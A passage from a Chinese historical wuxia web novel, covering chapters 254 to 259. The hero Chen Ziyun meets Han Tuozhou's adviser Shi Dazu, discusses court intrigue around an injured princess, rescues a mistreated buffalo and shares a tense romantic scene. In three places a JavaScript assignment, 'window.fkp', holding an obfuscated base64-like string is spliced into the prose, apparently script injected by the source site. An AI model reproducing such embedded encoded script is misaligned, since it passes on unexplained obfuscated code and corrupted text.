韩侂胄有请 “既然药师兄不赞同我如此做,那我也不强求,可要是药师兄的那两位爱徒自己撞到我手里,想来也不需要我留手吧!” 陈子云笑的有些意味深长。 “生死而已,何须顾忌。” 黄药师依旧是冷着脸。 “哈哈哈,好一个生死而已,药师兄果然大智慧,大果断。” 陈子云再次给黄药师倒酒,以后不管用不用的到那对黑风双煞,起码黄药师这边算是没问题了。 又陪着黄药师喝了半坛子酒,逗弄了正在跟好吃的奋战的小黄蓉,陈子云便告辞回府了。 本来这一路的回程中,陈子云自然是想着如何安抚正在生气的赵茵萝,可到了家门口却见到韩侂胄府里的人正在等他。 “二爷!” 那小厮恭敬的行礼道。 “何事?” 陈子云有些疑惑的问道。他倒不是奇怪韩侂胄如何会知道自己什么时候回来的,毕竟这临安城里大大小小的事情,又哪里会有他这位当朝权相想知道而又不知道的事情。 只是猜不透,对方为何这般的急切。 “老爷让我来请二爷,说是让二爷即刻回府一趟,有要紧的事情商量。” 小厮恭敬的说道。 陈子云皱皱眉头,不知道韩侂胄又搞什么名堂。可对方竟然如此郑重其事,那自己也没必要回绝。 陈子云招呼过来门房,吩咐了几句,让人去后院门外告知赵茵萝一声,就上了随着小厮一并前来的马车。 “来来来,子云,我跟你引荐一位旷世之才。” 陈子云正想问韩侂胄急匆匆招呼自己来的缘由,话还没出口,就被似乎兴致很高的韩侂胄给拉着来到了一个中年男子的面前。 “这是邦卿,为兄的左膀右臂。邦卿,这位就是我的二弟,你们好好亲近亲近。” “邦卿见过二爷。” 一身秀才服的中年文士朝着陈子云行了个礼。 “邦卿兄客气。” 陈子云也回了个礼,他此时还有些搞不懂,韩侂胄到底是什么意思,急匆匆的将自己找来,不会就是为了见眼前这位吧。 “你们都是我的心腹之人,不要这么拘束嘛,一个是我至亲,一个是我的孔明,你们亲近些。” 韩侂胄似乎对两人表现出的客气有些不高兴,直接拉着二人的手,就像是介绍姻缘的媒婆,硬生生将两人牵在了一起。 可这个时候的陈子云哪里有空陪着韩侂胄搞这些交际的名堂,家里一个不愿意接受治疗的赵茵萝。 外面又有个情绪不稳定的黄药师,这两个人就够他烦恼的了,哪里有心情来认识这位所谓的韩侂胄的幕僚。 邦卿?好像有些熟悉。 不过陈子云还是想不起来这位底是历史上哪位留下了姓名的人物。 “你让人请我来,所谓的要紧事情到底是指……?” 陈子云朝着韩侂胄问道。 “诶,子云,你急什么。先坐下,就算没有要紧的事情,让你回趟家,难道还为难你了。” 韩侂胄装作生气的摸样,压着陈子云的肩膀,就把他按进了旁边的椅子里。 陈子云顿时感觉自己心里有口气提不上来似的,可当着外人的面,他终究还是要给韩侂胄留些面子。 “到底是什么事请?” 陈子云自然不会相信,真的如韩侂胄所说,就是为了让他回趟韩府。 韩侂胄看了陈子云一样,挥手让在客厅里平时负责伺候的仆人都退了下去,就打算开口。 “韩相,机事不密则害成也。” 一旁的邦卿提醒了韩侂胄一句。 “不错,不错,邦卿说的是,还是去书房。” 韩侂胄很是受用的夸赞了一句。 陈子云有些不耐的从座位上起身,朝着韩侂胄的书房而去。 “有什么可以说了。” 陈子云在书房重新落座后,有些不耐的说道。 “二爷勿恼,是在下向韩相提了一个建议,韩相明鉴,认为在下的主意还算有些可取之处,可其中有些顾虑,所以请二爷过来商量。” 邦卿态度谦逊的解释着。 陈子云只是看了他一眼,随后就盯着韩侂胄。毕竟一个不知身份的外人,陈子云如何能真的相信对方,这事情还是韩侂胄在做主。 “子云,邦卿说的是实情,而且他出的主意确实很是让为兄心动。这件事情更是与你府上那位相关,所以我才让人即可请你回来。” 韩侂胄解释道。 “茵萝?” 陈子云皱眉。 “不错,就是公主殿下。虽然在下从韩相口中得知公主殿下的伤势时,也是很是担忧。 但随即也让在下看到了一个难得的机会。况且公主殿下本来就是为了救王道乾王大人,才被金军所伤。 我们为何不趁此机会,将这件事渲染开来,不管为何这都是公主殿下应得的荣誉。” 邦卿款款说道。 陈子云的第一反应是朝着韩侂胄瞪了一眼,他自然知道,赵茵萝的伤势是瞒不过对方的。 却是不理解,为何韩侂胄会把这样的事情,告诉一个这般年轻的幕僚。 其中也不乏夹杂着些许质问。 “子云,你不必这么看我,也不用生气,若是连邦卿都不能相信,那我这相府里里外外就没有可信的人了。” 韩侂胄大义凛然的说道。 “多谢恩相信任,邦卿铭感五内。” 邦卿拜谢道。 “邦卿,何须如此,你我之间难道要这般吗!” 韩侂胄扶着邦卿的手说道。 陈子云深吸了一口气,以此来平复自己内心的气愤与尴尬。 韩侂胄这家伙,是利用自己来收服自己属下的忠心来了吗。 “你们到底打算如何?” 陈子云按着性子问道。 邦卿先是用眼神询问了韩侂胄,得到了对方首肯后,方才开口。 “二爷,既然公主有了上进心思,那自然是要一步步往上走才好。武媚娘不足仿,可有个道理是一样的。 要是没有足够的威望,没有让群臣臣服的气量,就算韩相鼎力将公主殿下抬上那个位置,她也是坐……咳咳……” 后面的话邦卿没能说下去,因为陈子云已经一把掐住了他的脖子,只要稍稍用力,对方今天就要丧命于此了。 第二百五十五章 史达祖其人 “子云,不可。” 韩侂胄连忙阻止道。 “韩侂胄,你将这些事情也告诉他了?” 陈子云仔仔细细的看了这位邦卿的中年人,要不是他身上完全看不出一点与韩侂胄相似的地方,就要怀疑这位是不是老韩的亲兄弟了。 自从上次陈子云跟韩侂胄透露了一些关于对赵茵萝未来的规划之后,自己也没有什么的具体行动。 韩侂胄也是表现的如平常一般,陈子云也没看出他到底是如何打算的。 如今却突然给自己来这么一下,要不是信对方没有出卖自己的理由,还以为是事情败露,宋宁宗派他来试探自己来了。 “不用如此,你信不过邦卿,难道还信不过我吗。难道老夫在你眼里,就是这般鲁莽之人。 要不是经过再三考量,我怎么会轻易泄露如此机密,要是真是我随便找的人物,何必等到如今?” 韩侂胄解释道。 “那我倒是想知道,这位邦卿兄到底是何方神圣,让你这般的信任。” 陈子云并没有因为韩侂胄的一句话就放下了心防。一只手依旧牢牢掐着对方的喉咙,直让他因为气短,脸颊已经有些憋的发红。 “汴人……史邦卿……见过……韩二爷。” 倒是手里这位还算有几分硬气,明明已经连呼吸都困难了,还憋红了脸吐出几个断断续续的词来。 等等…… “你姓史?史邦卿?你是史达祖?红楼归晚,看足柳昏花暝的那位?” 陈子云手中的力道下意识的就收回了几分,他终于是想起这位是何方人物了。邦卿,邦卿,难怪他觉得有些耳熟。 史达祖其人,在历史上确实没什么地位,也谈不上什么功绩。他屡试不中,最终只能在韩侂胄麾下当个不知名的幕僚。 虽然韩侂胄似乎很器重他,可终究上不得大台面。 可要是放在另一个地方,他却是南宋词坛的代表人物,其词在南宋词坛上享有盛名,为风雅词派的三大家之一。 是能与周(邦彦)、姜(夔)相提并论的人物。其中他的代表作一首《双双燕·咏燕》更是将归燕与自身的境遇完美的结合,可以说是流传千古的佳作。 “哈哈哈,没想到邦卿微薄之名,终究还是因为文章辞藻之流入了二爷耳中,不知邦卿是该庆幸,还是羞愧。” 对于史达祖这样求仕途而不得的文人来讲,靠文章显名,终究不是其所希望的。 陈子云有些怅然的松开了掐着史邦卿的手,可心里却有几分更大的失落。本来一个活在诗词中的畅快人,如今见到了却是陷入了这蝇营狗苟的现实中。 其中的落差,难免让陈子云有些不太愿意接受。 “作诗填词不好吗?” 陈子云也不知道自己为何会问出这么幼稚的问题,那些不过是这些文人士大夫的闲时消遣而已,正统的学问终究是治国平天下,建功立教化的。 “子云说什么胡话!” 韩侂胄作为陈子云名义上的大哥,听到这么不务正业的话也忍不住了。 陈子云默然。 “你们打算如何?” 他问的自然是关于开始的那个话题,想如何利用赵茵萝。 陈子云不是因为见到了历史中难得的大词人,所以就没有了心中的坚持,只是他知道,就算是自己不答应,韩侂胄也绝不会放着好计划不去执行。 而且,既然当初自己提出了赵茵萝的上进计划,招惹出了这个权利的恶魔,你那自然也不可能说收手就能收手的。 起码,在韩侂胄听到的那一瞬间,整个韩家就已经被绑在了这辆战车上,要么前进,要么粉身碎骨,别无选择。 而现在,不过是多绑进来一个人而已,虽然对方可能是文章词人,可在历史的滚滚洪流中,对于这些人不是越发的不容情吗。 “二爷,能如此明事理,那自然最好。” 史达祖接着就把他跟韩侂胄的初步计划给阐述了一遍。 无非就是借着大散关之战的热头还没有彻底过去,在朝中宣传一番关于王道乾这个慷慨赴义的死间。 以及作为一国公主,为了救这位大功臣而奋勇受伤的故事。 至于其中如何渲染,如何拉拢人心,这自然是需要慢慢琢磨的事情。这些事情也不需要陈子云操心,只是让他先务必去跟赵茵萝沟通好,省的两面口径不一,弄出笑话来。 “那,按你们这么说来,茵萝的伤倒是还不能立刻治好喽。” 陈子云有些不屑的笑了一声。 “没有这样的道理,公主的伤自然是越快治疗越好。不过其中治伤的艰难,以及御医说明的伤势的严重,这些就由我们来把控。” 韩侂胄说道。 “不错,有御医苑的背书,自然是没有人不信的,至于茵萝的伤,那些人又有哪个是会真的关心的。” 陈子云自嘲道。 史达祖讷讷不言,虽然知道陈子云说的是实情,可也不能通过他的嘴来承认。 “大散关的事情,朝廷打算如何收尾?” 陈子云跳过了刚才的话题,也算是默认了韩侂胄的计划。 “要不是因为公主殿下,说不定此时两国已经都陈兵边境了。本来瓮中捉鳖的计划,如今却成了不输不赢的局面。 那位守将还给兵部上了奏折,词里行间都说着这件事是他的指挥不当,与公主无关。 嘿,真是关云长面前耍大刀,明知道我韩家跟公主的关系,却还自己大包大揽的将责任揽下。 这位将军,倒也不亏能坐到大散关守将,是有几分机心的。” 韩侂胄有些轻蔑的说着。 “守城之战,还是在对方中计的情况下,还有如此损伤,竟然还有脸说是无有胜负?” 陈子云笑着摇头。 “我本以为茵萝这次的胡乱插手,造成了损失,有些对不住朝廷的地方。可如今看来,却说不定还是好事。” “哎,子云你说的不错。要是真的如先前预期的那般,将这五千金军全留在了大散关,我军士气虽然必定大涨,可同时也将被这轻易得来胜利冲昏头脑。 看不见两军基础兵士的真正差距,茵萝这么一闹,却是给我跟陛下都泼了一盆透彻的冷水,也让我们自己看清了两国的现实。” 韩侂胄皱着眉头道。 第二百五十六章 北伐之志 “其实韩相也不必如此,虽然敌我兵力有差,但是在兵士数量上,我朝却是有优势的。” 史达祖在一旁劝慰了一句。 “有时候,数量是没法填平质量的差距的。一旦发生溃败,后面的兵将只会是干扰撤退的障碍。” 陈子云摇头道。 “子云说的不错,邦卿你也不用安慰我。虽然老夫不曾上过战场,可几本兵书战策还是看过的。 要以多压少,那也是建立在两军士气相差彷佛的前提之上,要不然大岸崩塌,剩下的不过是随着滔天江水,俱下的泥沙而已。” 韩侂胄道。 “不过好在,金庭突遭此败仗,一时也回不过神来。而且由于这次大败还是由于当朝的六王子完颜洪烈推动的,其中留下的权利倾轧,够他们自己乱一阵子的了。” 陈子云对韩侂胄说的这点倒是同意的,根据子虚从金国传来的消息,如今那边也是朝局动荡的很,时不时就有站错了队的大臣被革职。 “韩相说的不错。而且就算金国真的想打,我们毕竟是守城的一方。就算我朝兵力稍逊,也不见得守不住。 金国的兵力优势还是在骑兵上,攻城并不是他们所长。而且这次的教训,我就不信他们能没有丝毫的畏惧。 如今的金国可不是当时那个从白山黑水间刚出来的野蛮人了,他们朝堂上也不正在沐猴而冠,学习圣人教化吗?” 史达祖道。 陈子云暗自点头,对方既然能够看到金国的这一变化对其军事的影响,怎么说也算不上腐儒了。 要是换成一般的读书人,对于金国这种汉化的行为绝不会看成是对南宋的好消息。 反而会破口大骂,说他们盗窃了圣人学问,那些在金国推广儒学的更是不配成为儒家子弟,是千年来最不可饶恕的罪人。 他们担心,一旦金国掌握了儒家学说,就会在方方面面赶上南宋,甚至威胁到南宋作为汉家正统王朝的地位。 如果真是这样,这些嘴巴比骨头硬的道学先生,宁可南宋灭亡了,也不能看着这样的惨剧发生。 亡了的南宋,依旧是汉家正统,可要是被金国在儒家学说上超越了,那他们可就成了千古罪人了,如何对得起至圣先师。 “那这意思,你们是准备放弃北伐了?” 陈子云问道。 “啪……” 韩侂胄直接一掌拍的书桌震响。 “子云如何能说出这般寒心之言,北伐之议,那是我大宋百年,千年不变之恨,如何有半途而废之说!” 陈子云有些愕然,韩侂胄以前还真没有这么严厉的斥责过他。 “但是,我朝还是有时间的,既然如今的兵力不如,那就练兵,等练好了再北伐金国,收复失地。” 陈子云没说话,练兵,说的轻巧,南宋的兵可不是想练就能练的。说白了,如今南宋的文武之间的差距,是根植在百年来的制度里的。 几百年的重文轻武,哪里是说想调整就能调整的。而武将的地位不提高,自己都在随时担心如何讨好那我作为监军的文臣,以免被对方用一本秘奏给直接扳倒,将自己还不容易熬出来的成就给一笔勾销。 在这种朝不保夕,见人低一级的心态下,又如何能练出高质量的兵来。 不让马儿吃草,又叫马儿快跑,这是老百姓都知道的不可能的事情啊。 陈子云此时已经依稀知道,为何那场历史留名的“开禧北伐”最终会是惨淡收场了。 估计不仅仅是所谓的韩侂胄仓促而行的结果,有些事情准备再久,打不过终究还是打不过啊。 “韩相说的不错,大势在我,何愁北伐不胜。” 史达祖附和道。 陈子云瞥了这位南宋有数的大词人一眼,见他的摸样倒不像是毫无原则的拍韩侂胄马屁,似乎是真的认可。 或者说是如今朝廷主战呼声高涨,在大多数南宋的士人眼中,都有着这样的期许,总有一天北方的失地终究是要回到他们手里的。 “嗯,不过最终还是要靠我辈中人自强不息,切不可再将这份耻辱留给后人了。” 韩侂胄带着几分缅怀的摸样说道。 陈子云知道自己就算此时将历史都背诵一遍给韩侂胄听,对方也绝不会相信他是如何的一败涂地的。 对于他们这些已经将生命放在了家国天下上的士人,要是没有了收复失地,一统华夏的坚持,估计就只能落寞一生了。 恐怕这也是被韩侂胄连累的史达祖的后半生只能寄情于填词写诗的悲惨的写照了。 陈子云离开了韩府,拒绝了韩侂胄要他留下吃饭的邀请,他此时哪里有这个心思。 家里的事本来就够他头疼的,如今又多了这家国的大事,他怕吃下去也不消化。 陈子云连马车都没坐,而是一步步慢慢的踱步回的牛家村,他需要好好的理清自己的思路。 临安的街上还有络绎不绝的人流,出了城之后,就少多了。 只有在路过的村子里才能看到正扛着农具,往家里走的农民。 “走啊……用力啊……” “啪……啪啪……” 是一阵皮鞭声和赶车人的催促声。 “你这头蠢货,惫懒货,我买你来可知道花费了多少银子,你竟然连这点东西都拉不动!” 一个小贩打扮的人正坐在一辆装满了货物的牛车上,此时他手里捏着的一杆粗壮的长鞭正往一头看着就有些年岁的老水牛背上抽着。 那头牛背上如今已经是看得出一条条的鞭痕了,就算是厚如牛皮,也吃不住这样狠心的主人的鞭挞。 “哞……” 老水牛只能奋力的长鸣。可任凭它如何的用力,那已经陷在泥坑中的双轮车就是出不来。 而那端坐在货车上的主人家,也只是用手里的长鞭催促着,却没有丝毫要下车帮着推一把的打算。 “死牛,赔钱货,你倒是拉,拉,拉啊……” “啪……啪啪……” 催促声,鞭挞声连绵不绝。 那头老牛奋力的抬起自己的前蹄,用后蹄死死的抵在身后的泥泞里,一步一滑的在用力。 连挂在鼻头的鼻环处都已经被磨出了血迹,而扛在脖子上的牛犁早就深深的压进了脖子里。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二百五十七章 遇老黑 “哞……” 这透露着辛苦与惨烈的叫声里,所有路过的人都能听出这头老水牛的竭尽全力。 “诶,你先来帮帮它吧,再这么拉下去,这头老牛就要废了。” 一个路过的归家农人也看不下去了,出言道。 “你是哪里漏出来的,老子的事你也敢管。这是我自己的牛,就算我活活打死他又能如何。 这是老子花钱买来的,怎么我用它拉货还不对了。” 那小贩似乎是被这农人的态度给激怒了,又狠狠的往老水牛身上抽了几鞭子,直打着它慌乱的踩着蹄子乱晃。 “怎么会有你这么不怜惜牲畜的人,这牛要是死了,吃亏的还不是你自个儿吗,我倒是要来管你,真是怪了。” 那农人也是被气到了,一个农户,要是有头能够耕地拉货的牛,那谁不是比对亲儿子还要小心的呵护着。 遇到这样不珍惜畜力的人,自然是看不惯的。 “滚滚滚,一个泥腿子,别在老子面前晃悠,小心我连你也一起抽。” 小贩举起手里的皮鞭朝着农人威胁道。 “你这人……” 农人嘟哝着,可习惯了卑躬屈膝的他们如何敢与人起冲突,只能怜惜的望了一眼那还在受苦的老水牛,拿着自己的农具走了。 “呸,贱泥腿子,还敢管闲事。” 小贩得意的朝着农人离去的背影唾了一口。随后又挥了几鞭子,这几鞭子似乎在发泄对于自己数落了农人一顿的兴奋,格外的用力。 “哞……哞。” 此时的老水牛似乎已经用尽了气力,连哀鸣都变的软弱无力了,那两只大大的牛眼中,泛出了不解的泪光。 从来都不曾理解过,为何自己辛勤的劳动换来的会是主人的鞭挞。背上的疼痛已经让他有些麻木,可一种从来都知道的情绪,让他热泪难止。 直到一双脚出现在他的眼下,一把拉住了套着自己的鼻环,还有那脖子上承重的枷锁。 一种从来没有体会过的轻松,让老水牛连背上的疼痛都忘记了。 他有些艰难的抬起头,眸子里映入一个不曾见过的清晰人影。 “你……你是谁啊?” 小贩惊慌的问道。 随后就是满车的货物带着小贩直接倾覆的声音,整车装着满满的,却在陈子云的手里,轻易的被翻了个个。 小贩惨叫的从货车上跌落,最后又被散落的货物压住了腿脚,在车底下凄厉的惨叫着,手上那本来用来逞凶的皮鞭,更是被他自己给扔出去老远。 “啊……我的腿,杀人了,救命啊!” 小贩竭力的呼喊着,可惜那些知道情况的农人只是在畅快的笑着,而那些不知道情况的,只是防备的保持着距离。 “哞……” 老水牛的呼唤里哈有些疼痛的余韵,可那轻轻顶着陈子云的鼻子,能看出他的喜悦。脱离了你那一车沉重的压力,是重获新生的喜悦之情。 陈子云脱下自己的外袍,轻轻的披在老水牛受伤的脊背上,摸摸他弯曲成半月的牛角。 “跟我走吗?” “哞……” 老水牛叫唤了一声,不知道是在答应,还是在感激。 当陈子云试探性的跨出几步之后,老水牛亦步亦趋的跟了上来。 “哈哈,好,是个有灵性的。如此,那就回去跟小白做个伴吧,就叫你老黑好了。” 陈子云对于那只从华山上带下来的白狐,一贯都是放养的,所以这小东西,十天有八天倒是不在家里。 反正牛家村的人都早就认识了这是陈先生家的,灵气十足的白狐,那些打猎的也不会把小白认错成野货。 所以也就养成了这小东西野性难驯的状态,要不是知道陈子云的手段,说不定早就把陈府也闹个天翻地覆了。 “哞……” 老水牛老黑用自己的大牛鼻子往陈子云的身上靠了靠。 “你别走,不能走,那是我的牛。” 小贩在看不过去的农人的帮助下,终于是从车底下出来了,虽然腿脚还是瘸着的,可对于这样的大型牲畜,自然也是不甘心就这么被别人抢走的。 “你小子可知道,我表姐夫可是认识衙门里的老爷的,你赶紧把牛留下,否则……” 小贩装出恶狠狠的模样道。 “多少?” 陈子云连头也没回的问道。 “什么?” “我问你买来的时候,花了多少?” 陈子云的语气透露着一股不可拒绝。 “五……五十两……” 小贩虽然有些担心陈子云那气度不凡的来历,可终究还是被长久以来养成的唯利是图的商贩天性给遮蔽了心智。 “咻……” 陈子云随手甩出一张银票,那本来应该轻不受力的纸张,如一道暗器般,直接插进了小贩身边的货车车把上。 那小贩一脸不可思议的看着那张坚挺着的,像是刀一般嵌入货车把手里的银票,就像是直接插进了他的胸口似的。 “啊……” 小贩一声尖叫,用手反推着自己的身体离开那张诡异的,同时又诱人的银票。 “我就住在前面不远的牛家村,你要是有任何问题都可以来找我。” 陈子云丢下一句话,摸摸老黑凑过来的大牛角,朝着牛家村去了。 也不知道是凑巧,还是小白这小机灵鬼真的感觉到了什么,刚到牛家村村口,就见她从路旁的大树后面了蹿了出来。 先是讨好的在陈子云的脚边蹭了蹭,随即就绕着老黑打量。起先是远远的,皱着鼻子嗅嗅,后面见老黑没有反应,就大胆的靠近了。 老黑虽然看到了有个小东西,但是他并不在意,毕竟小白狐对他的体型来说实在是太小了,还不如他的一个牛角。 “哞……” 老黑轻声的叫唤,似乎在问陈子云为何突然的停下来了,是不是到家了,可他并没有看见可以安身的牛棚。或者这位新主人比较贫困,他需要露天住宿,那这旁边的大树也可以给他遮雨避风了。 老黑这一叫,却是有些惊着了正在他肚子下闻闻嗅嗅的小白,瞬间就蹿了出去,对着老黑龇牙。 白狐虽然听着好听,可毕竟还是犬科生物,其实本质上小白跟村里闲逛吃粑粑的土狗也是差不多的习性。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二百五十八章 各方动作 遇到威胁,第一反应就是吼叫与龇牙。 陈子云笑着一把抄起在地上摆着姿势给自己壮胆的小白。 主人的怀抱也让小白瞬间放下了防备,不过还是有些担心的盯着老黑那在她眼中的庞然。 “以后就你们作伴吧。” 陈子云说着将小白朝着老黑的背上放去。 小白一开始还有些不依,可当陈子云把手放在她的脑袋上抚了两下,她也就顺从的趴在了老黑的身上。 有陈子云的衣服当垫背,总算是有些安全感。 而且她似乎也明白了自己主人的意思,自己脚下的这个庞然大物可能跟自己一样,被主人收养了。 老黑只是觉得背上又多了一件小东西,几乎感觉不出什么重量,还暖暖的也不压他。 看见陈子云重新迈开了脚步,老黑自然也就跟上去了。 一人,一狐,一牛。 本来陈子云是想把老黑交给负责照看府里动物的仆人的,可不管那人怎么催促,老黑都不跟他走。 陈子云就放弃了,带着老黑跟他背上已经安逸的快睡着的小白,直接进了院子。 指指那口本来准备养些锦鲤的池塘,老黑便直接自己下去了。虽然还有些春寒料峭之感,但是当老黑在池水里打滚,蹭着池塘边的太湖石清理自己身子的时候,玩得不亦乐乎。 就是本来安稳的在牛背山睡觉的小白,吱吱叫着,发泄着自己被从牛背上赶下来的不满。 “哪里找来的这么个大家伙。” 赵茵萝听到了院子里的动静,带着小荷过来了,。 小白一脸讨好的在两人脚下转悠,小荷稀罕的蹲下摸摸柔顺的狐狸毛,看来这些天她已经跟小荷也混熟了。 另一只白狐哥哥小黄,也从房间里出来,一把就按住了一天到晚不得闲的妹妹,还张嘴教育了两句。 小黄跟小白虽然是一母同胞,可性格却是完全的两个极端,小白是一条到晚都坐不住的,小黄却安稳的不像只野性的狐狸,就放佛是家养的忠犬,一天到晚就是守护在主人身边。 “姑姑,那个在水里的事什么动物啊,好大啊。” 小荷问道。在她的感知中,只能察觉到池塘里有个大家伙在翻江倒海。 “它呀……” 赵茵萝正想解释。 “哞……” 一声欢快的牛鸣解答了小荷的疑问。 “是牛吗,好大个啊,小荷还没遇见过这么大的牛呢。” 小荷有些惊奇的说道。 “嗯,是挺大的。” 赵茵萝道。 “是在路上遇见的。” 陈子云道。 “路上?” 赵茵萝疑惑的问道。 陈子云将大致的情况讲了一遍,小白似乎也听懂了一些,在小荷的怀里吱吱叫着附和。 “怎么会有这样的蠢货,难道他看不出老黑的与众不同吗?” 赵茵萝愤然道。 陈子云摇摇头,知道赵茵萝这段时间的情绪总是有些愤世嫉俗的意思,无法冷静的站在他人的角度考虑事情。 在赵茵萝看来,老黑这般的聪慧,别说是用来干拉货的粗活,就是供起来也是正常的。 可她却想不到,对于普通人来讲,老黑不管多么的有灵性,终究还是一头牛而已。 而在一般的家庭中,牛自然是要用来耕地或者拉货的,不会因为这头牛比一般的牛表现的不同,就怜惜他。 陈子云也不想解释,如今还不是讨论这些问题的时机。 “黄药师如今暂住在曲三的酒铺里……” 话还没说完,赵茵萝直接就往院子外走了。 正在跟小白玩耍的小荷,感觉到了赵茵萝的离开,也连忙起身跟上。 陈子云将小白撩起来抱在怀里,又看看依旧在池塘里打滚的老黑,思绪却是怎么都平静不下来。 …… 后面的几天,陈子云也就只能在家里慢慢等待着赵茵萝的情绪下缓和下来。治伤这种事情,当事人不配合,就算是黄药师有通天的本事也无可奈何。 陪着赵茵萝看子虚从天南地北收集来想消息,江湖上倒是没见什么风浪,多的,招人惦记的反而都是金国传来的消息。 什么六王子完颜洪烈被软禁了,某某朝臣与南宋勾结出卖大金了之类的消息络绎不绝。 而其中夹杂着一道,关于如今朝廷内盛传关于大散关一战中,南宋公主义救忠诚王道乾的消息,让赵茵萝瞬间就放下了别的一切。 当读完这纸几乎有一半是在歌功颂德的消息后,赵茵萝用疑惑的眼神看着陈子云。 能在南宋朝廷内掀起这样的波澜的,除了她那位皇帝爹爹也就是非韩侂胄莫属了。 陈子云见赵茵萝的脸色,只能点头默认了。 “子云师傅,我如今这样……难道还有资格去碰那个位置吗!?” 赵茵萝低下头,带着些不确定的问道。 “坐那个位置的人,可以因为运气,也可以因为狠厉,却还没有因为相貌而不被认可的。” 陈子云不由得想到后世关于那位大明开国皇帝肖像的议论的,其中那副满脸麻子、招风耳,一个地包天的下巴的画像,直接看着就不想是正常人。 不过赵茵萝显然是不会被陈子云这么一两句话就说服的。 “大伯这么明目张胆的宣扬我,不怕招到我爹爹的猜忌吗?” 赵茵萝有些担忧的道。 “猜忌?你觉得以韩侂胄如今在朝廷上的权势,可能不被猜忌吗!” 陈子云笑道。 “……” 这下赵茵萝反而讷讷无言了。是啊,作为处在南宋朝廷的绝对权利中心,甚至能与皇帝当庭抗礼的权臣,怎么可能不被顾忌。 或许自己之所以会被许配给韩家,很大一部分原因就是为了安住韩侂胄的心吧。 “不过,茵萝,你也不用想太多。或许如今的情形也正是我们皇帝陛下希望看到的,可千万不要小看你这位爹爹哦。” 陈子云道。 “为何,子云师傅,爹爹他难道就不担心,我……” 赵茵萝欲言又止。 “担心,担心什么,担心你效仿唐太宗杀兄逼父,还是跟怕你武媚娘一般,大肆杀戮赵氏皇族。 你可是你爹爹唯一的女儿,更何况你也姓赵,要是你但凡是男儿身,早就被立为国本,当上太子了。” 陈子云笑道。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二百五十九章 情感变化 “可茵萝毕竟是女儿身呢。” 赵茵萝叹道。 “茵萝,你可不是这样的,你那份不输男儿的气概到哪里去了。在大散关上那不顾性命的一跃,就算是一般的男儿也是做不出来的壮举。” 陈子云道。 “那……不过是件蠢事罢了。” 赵茵萝道,随即隔着头套摸了摸自己斑驳不堪的脸,不由得又有些后悔的情绪在蔓延。 自己不但没有救到王道乾,还累及守城的兵士大量死亡,最终自己也落得如此下场,实在是愚蠢的很。 正当赵茵萝顾影自怜的时候,一双手突然抓住了她的手,她本能的一惊,想从对方的把握中收回,可陈子云一旦不想放开,哪里是她能够挣脱的。 赵茵萝也发现了陈子云的用力,有些差异的看向他。 她这一眼,便看到了一双自己许久都不敢凝视过的眼睛。 那双眼睛里,此时透露出来的不再是老师看待学生的关爱,是赵茵萝从来都没有再陈子云眼中见过的,感受过的情感。 她不懂,但心理却隐隐有几分期待。 赵茵萝如今早已不是什么都不懂的小女孩了,她嫁给陈子云已经六七年了,尽管陈子云对她呵护备至,可她也能清楚的感觉到,对方依旧只是把她当做是那个不知世事的徒弟而已。 这也一度让赵茵萝有些心灰意冷,所以就索性一门心思的练武,或者投入到子虚的事物上。 可如今这双眼睛,分明已经不同了,不是人的不同,而是那种情感的变化。 陈子云其实也很难纳闷,不知道自己是什么时候开始对赵茵萝的情感发生了转变。 难道就因为对方受了这样严重的伤势,自己心软,怜惜了,就变了。 不对的,怜悯与爱是两种完全不同的情感。 在他以往的映像中,对于赵茵萝的情感一直都是以师徒间的关爱为主。 这样的爱不是男女之爱,虽然同样疼惜,可这种捧在手里的爱,跟想抱在怀里的爱是两回事。 可这些天来,见到对方的挣扎,对方的软弱,似乎有什么东西拨动了自己的心弦。让一种从来不曾期待过的情愫渗透了身体,一种不可约束,不可自拔的情感,将他跟赵茵萝再次链接在一起。 赵茵萝还在踌躇之际,一双柔软的嘴唇隔着她的头套印在了她干枯的嘴唇上。 一股带着激烈与冷颤的力量,瞬间麻痹了她的全身。 这是任何武功,任何准备都无法防备的突袭,赵茵萝感觉自己浑身的力量都被这温柔的一吻吸走了。 四肢发软的摊到在陈子云的怀里,彷佛是自己跌入了云端,随即冲破云层从无垠的天空中跌落,身体随着不稳的重心在空中胡乱的旋转。 没有可以着力的地方,只有自己的心口还有一点可以被自己感知到的温暖,其他的都是他的,不再属于自己了。 “呜……” 赵茵萝发出下意识的呻吟,不是欢乐,不是痛苦,是发自灵魂深处的滋养,是绝不可描述的美妙。 然后她就这样被陈子云整个的抱住了,已经发软的娇小身躯,几乎就要被对方揉和在一起。 可一股不知从哪里来的力量,赵茵萝竟然缓过神来,双手死死的抵住了陈子云的胸膛。 “不要,不能,子云师父……” 陈子云有些上头的情绪也如被泼了一盆最凉人的冰水,本来变得有些不安分的双手,瞬间僵硬。 赵茵萝逃也似的跳出了陈子云的怀抱,整理了一番被对方刚才的粗鲁动作弄乱的头套与衣角。 “茵萝,我……” 陈子云第一次感到了慌乱,就好像做了什么不可饶恕的恶事。 “不,不是的,子云师傅……” 赵茵萝还想解释,可不知怎么,眼中的泪水却再也止不住的流下来。 她似乎想解释什么,可颤抖的心情与同样没了轮次的嘴唇,让她只能选择回避进了自己房里。 陈子云看着慌乱的离去的佳人,一时间就愣在了原地。 “啪……” 陈子云给了自己一个耳光。 